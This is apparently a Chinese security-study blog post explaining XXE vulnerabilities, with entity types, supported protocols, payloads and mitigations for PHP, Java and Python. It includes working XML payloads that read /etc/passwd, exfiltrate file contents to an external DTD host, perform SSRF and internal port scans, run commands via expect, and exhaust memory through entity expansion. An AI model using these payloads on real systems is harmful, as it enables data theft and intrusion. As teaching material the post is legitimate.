初心:深入了解,多一些思考。想把困惑都想清楚,不只是想做个“脚本小子”。
欢迎来听姐姐碎碎念😏…
XML外部实体(XXE)处理漏洞
漏洞类型
- 代码注入
漏洞影响
往外部发送数据
- 先读取本地文件,再向外网发起请求,传输此数据
SSRF(Server Side Request Forgery)
- 其实就是发起请求,可将此服务器作为跳板,攻击内网
窃取敏感数据 (extracting sensitive data) --> 读取本地文件
- 协议方式读取
- PHP流方式
远程代码执行 (remote code execution)
- PHP支持expect扩展,才可以执行系统命令
拒绝服务攻击(DDoS)
- 让XML解析器,解析多层嵌套的实体参数。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中。
漏洞成因
- XXE (XML External Entity Injection) 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载。
代码层面
- XML文档结构(下面以一个RSS文档为例)
- XML声明
- 文档类型定义(可以没有)
- 文档元素
<!-- XML声明:定义XML版本和字符编码 -->
<?xml version="1.0" encoding="UTF-8"?>
<!-- 文档类型定义(不一定存在) -->
<!DOCTYPE title [
<!ELEMENT title ANY ><!-- 元素声明:通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合 -->
<!ENTITY xxe SYSTEM "ahaha" ><!-- 内部实体声明:<!ENTITY 实体名称 "实体的值"> -->
]>
<!-- 文档元素 -->
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><!-- RSS声明:定义RSS版本 -->
<channel><!-- 后面都是RSS feed的内容 -->
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title><!-- 引用xxe这个实体:&xxe; -->
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
实体类型
- 实体通常分为内部和外部。
- 如果实体是在DTD结构内定义的,为内部实体。例如:
<!ENTITY entity_name "entity_value">
,&entity_name;
通过这种形式在文档元素中引用这个实体的值。 - 如果实体的定义是在DTD结构之外,为外部实体。我们可以使用
system
或public
来定义他,例如<!ENTITY name SYSTEM "URI/URL">
,URI/URL是外部资源地址。
- 如果实体是在DTD结构内定义的,为内部实体。例如:
- 实体的4种类型(漏洞利用主要会用到:通用实体、参数实体)
- 内建实体
- ampersand: &
- Single quote: '
- Greater than: >
- Less than: <
- Double quote: "
- 字符实体(如:©)
- 通用实体(如此定义的
<!ENTITY ename "text">
) - 参数实体(如此定义
<!ENTITY % ename "entity_value">
,使用%ename;时,相当于先将%ename;替换成entity_value,再使用entity_value对应的值)
- 内建实体
- 当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
引用外部实体支持的协议
libxml2 | PHP | Java | .NET | 备注 |
---|---|---|---|---|
PHP流 | PHP流可读取文件 | |||
file | file | http | file | file协议可读取本地文件 |
http | http | https | http | http(s)可引入一个外部的DTD文件或向外部发起请求 |
ftp | ftp | ftp | https | ftp可发起一个ftp协议请求,传输数据大小不限 |
php | file | ftp | ||
compress.zlib | jar | |||
compress.bzip2 | netdoc | |||
data | mailto | |||
glob | gopher * | |||
phar | ||||
``` | ||||
|
||||
```table | ||||
PHP扩展 | 支持协议 | 备注 | ||
openssl | https、ftps | |||
zip | zip | |||
ssh2 | "ssh2.shell、ssh2.exec、ssh2.tunnel、ssh2.sftp、ssh2.scp" | |||
rar | rar | |||
oggvorbis | ogg | |||
expect | expect | 可执行系统命令 |
检测或利用方法
- 各种语言、各种协议怎么攻击,请参考文档:https://www.vsecurity.com//download/papers/XMLDTDEntityAttacks.pdf
- 最好先用一个能正常解析通过的XML文件,在此基础上做修改,避免XML格式解析出错。
读取文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<title>&xxe;</title>
使用PHP流方式读取文件(php:// — 访问各个输入/输出流(I/O streams))
http://php.net/manual/zh/wrappers.php.php特别是php://filter,读写操作都可以执行。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd" >
]>
<title>&xxe;</title>
往外部发送文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://example.com/evil.dtd">
%dtd;]>
<roottag>&send;</roottag>
evil.dtd文件内容如下:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://example.com/?%file;'>">
%all;
SSRF利用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://内网地址/服务?payload" >
]>
<title>&xxe;</title>
或是端口扫描:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://内网地址:81" >
]>
<title>&xxe;</title>
远程代码执行(需要支持expect:// — 处理交互式的流)
http://php.net/manual/zh/wrappers.expect.php
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "except://whoami" >
]>
<title>&xxe;</title>
拒绝服务攻击(DDoS)
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>
如果解析过程变的非常缓慢,则表明测试成功。
- 真实案例:Billion Laughs 攻击
- 通过创建一项递归的 XML 定义,在内存中生成十亿个“Ha!”字符串,从而导致 DDoS 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中。
<!DOCTYPE data SYSTEM "http://127.0.0.1:5000/dos_indirections_parameterEntity_wfc.dtd" [
<!ELEMENT data (#PCDATA)>
]>
<data>&g;</data>
解决方案
- XML禁用外部实体引入
PHP
libxml_disable_entity_loader(true);
JAVA
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))